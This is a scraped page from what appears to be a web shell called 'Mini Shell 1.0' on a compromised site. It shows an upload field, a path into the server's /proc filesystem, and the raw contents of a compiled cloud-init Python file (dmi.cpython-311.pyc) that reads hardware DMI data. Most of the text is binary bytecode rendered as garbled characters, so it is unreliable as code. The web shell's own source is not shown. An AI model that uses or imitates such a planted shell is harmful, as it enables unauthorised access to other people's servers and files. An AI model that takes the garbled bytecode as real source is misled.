HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/dmi.cpython-311.pyc
�

܍~c����ddlZddlmZddlmZddlmZddlmZddl	m
Z
mZeje
��ZdZedd	d
g��Zdej_ided
d���dedd���dedd���dedd���dedd���dedd���dedd ���d!ed"d#���d$ed%d&���d'ed(d)���d*ed+d,���d-ed.d/���d0ed1d2���d3ed4d5���d6ed7d8���d9ed:d;���d<ed=d>���Zd?ed@eefdA�Zd?ed@eefdB�Zd?edCed@eefdD�Zd?ed@eefdE�ZdS)F�N)�
namedtuple)�Optional)�log)�subp)�is_container�
is_FreeBSDz/sys/class/dmi/id�KernelNames�linux�freebsd)NNzbaseboard-asset-tag�board_asset_tagzsmbios.planar.tagzbaseboard-manufacturer�board_vendorzsmbios.planar.makerzbaseboard-product-name�
board_namezsmbios.planar.productzbaseboard-serial-number�board_serialzsmbios.planar.serialzbaseboard-version�
board_versionzsmbios.planar.versionzbios-release-date�	bios_datezsmbios.bios.reldatezbios-vendor�bios_vendorzsmbios.bios.vendorzbios-version�bios_versionzsmbios.bios.versionzchassis-asset-tag�chassis_asset_tagzsmbios.chassis.tagzchassis-manufacturer�chassis_vendorzsmbios.chassis.makerzchassis-serial-number�chassis_serialzsmbios.chassis.serialzchassis-version�chassis_versionzsmbios.chassis.versionzsystem-manufacturer�
sys_vendorzsmbios.system.makerzsystem-product-name�product_namezsmbios.system.productzsystem-serial-number�product_serialzsmbios.system.serialzsystem-uuid�product_uuidzsmbios.system.uuidzsystem-version�product_versionzsmbios.system.version�key�returnc��t�|��}|�|j�dSd�t|j��}t
�d|��tj�	|��st
�d|��dS	t|d��5}|���}ddd��n#1swxYwYn,#t$rt
�d|��YdSwxYw|dt|��dz
zd	zkrd
}	|�d�����S#t $r'}t
�d|||��Yd}~nd}~wwxYwdS)
z/
    Reads dmi data from /sys/class/dmi/id
    Nz{0}/{1}�querying dmi data %szdid not find %s�rbzCould not read %s����
��utf8z-utf-8 decode of content (%s) in %s failed: %s)�DMIDECODE_TO_KERNEL�getr
�format�DMI_SYS_PATH�LOG�debug�os�path�exists�open�read�PermissionError�len�decode�strip�UnicodeDecodeError�error)r�kmap�dmi_key_path�fp�key_data�es      �//usr/lib/python3/dist-packages/cloudinit/dmi.py�_read_dmi_syspathr>>s����"�"�3�'�'�D��|�t�z�)��t��#�#�L�$�*�=�=�L��I�I�$�l�3�3�3�
�7�>�>�,�'�'���	�	�#�\�2�2�2��t��
�,��
%�
%�	!���w�w�y�y�H�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!��������	�	�%�|�4�4�4��t�t������7�c�(�m�m�a�/�0�5�8�8�8���
����v�&�&�,�,�.�.�.���
�
�
��	�	�;���
�		
�	
�	
�	
�	
�	
�	
�	
�����
�����4sN�C�.C�C�C�C�C�C�%D�D�&&E
�
E>�E9�9E>c��t�|��}|�|j�dSt�d|j��	dd|jg}tj|��\}}|���}t�d||j��|S#t
j$r&}t�d||��Yd}~nd}~wwxYwdS)z/
    Reads dmi data from FreeBSD's kenv(1)
    Nr �kenvz-qzkenv returned '%s' for '%s'zfailed kenv cmd: %s
%s)r'r(rr+r,rr5�ProcessExecutionError)rr8�cmd�result�_errr<s      r=�
_read_kenvrEds����"�"�3�'�'�D��|�t�|�+��t��I�I�$�d�l�3�3�3�5��t�T�\�*����3�������������	�	�/����F�F�F��
���%�5�5�5��	�	�+�S�!�4�4�4�4�4�4�4�4�����5�����4s�AB�C�.C�C�dmidecode_pathc�J�	|d|g}tj|��\}}|���}t�d||��|�dd��dkrdS|S#tj$r'}t�d||��Yd}~dSd}~wwxYw)z
    Calls out to dmidecode to get the data out. This is mostly for supporting
    OS's without /sys/class/dmi/id support.
    z--stringz dmidecode returned '%s' for '%s'�.�zfailed dmidecode cmd: %s
%sN)rr5r+r,�replacerA)rrFrBrCrDr<s      r=�_call_dmidecoderKzs���

��z�3�/����3�������������	�	�4�f�c�B�B�B��>�>�#�r�"�"�b�(�(��2��
���%�����	�	�0�#�q�9�9�9��t�t�t�t�t��������s�A&A,�*A,�,B"�;B�B"c��t��rdSt��rt|��St|��}|�|Sd�}t	j��d}||��s!|dvst�d|��dStj	d��}|rt||��St�dt��dS)a�
    Wrapper for reading DMI data.

    If running in a container return None.  This is because DMI data is
    assumed to be not useful in a container as it does not represent the
    container but rather the host.

    This will do the following (returning the first that produces a
    result):
        1) Use a mapping to translate `key` from dmidecode naming to
           sysfs naming and look in /sys/class/dmi/... for a value.
        2) Use `key` as a sysfs key directly and look in /sys/class/dmi/...
        3) Fall-back to passing `key` to `dmidecode --string`.

    If all of the above fail to find a value, None will be returned.
    Nc�B�|dkp|ddko
|dd�dkS)N�x86_64r�i��86�)�archs r=�is_x86zread_dmi_data.<locals>.is_x86�s,���x��H�D��G�s�N�$G�t�A�B�B�x�4�7G�Hr%�)�aarch64�amd64zdmidata is not supported on %s�	dmidecodez0did not find either path %s or dmidecode command)rrrEr>r-�unamer+r,r�whichrKr*)r�
syspath_valuerT�
uname_archrFs     r=�
read_dmi_datar]�s���$�~�~���t��|�|���#����%�c�*�*�M�� ���I�I�I�����A��J��F�:����*�0D�"D�"D��	�	�2�J�?�?�?��t��Z��,�,�N��4��s�N�3�3�3��I�I�@�,�O�O�O��4r%)r-�collectionsr�typingr�	cloudinitr�loggingr�cloudinit.utilrr�	getLogger�__name__r+r*r	�__new__�__defaults__r'�strr>rErKr]rRr%r=�<module>rhs3��	�	�	�	�"�"�"�"�"�"�������$�$�$�$�$�$�������3�3�3�3�3�3�3�3��g���!�!��#���j���)�(<�=�=��#/��� �$��;�;�'8�:M�N�N�$��k�k��-���$�
�k�k��-���$��{�{��.� � �$����_�6M�N�N�$����[�2G�H�H�$��;�;�}�.B�C�C�$��K�K��0E�F�F�$�����1���$�$�K�K��0���%$�*�[�[��1���+$�0�{�{��3���1$�6�;�;�|�5J�K�K�7$�8�;�;��/���9$�>�K�K��0���?$�D�;�;�~�/C�D�D�E$�F�k�k�"3�5L�M�M�G$��N#�3�#�8�C�=�#�#�#�#�L�C��H�S�M�����,���c��h�s�m�����$*�s�*�x��}�*�*�*�*�*�*r%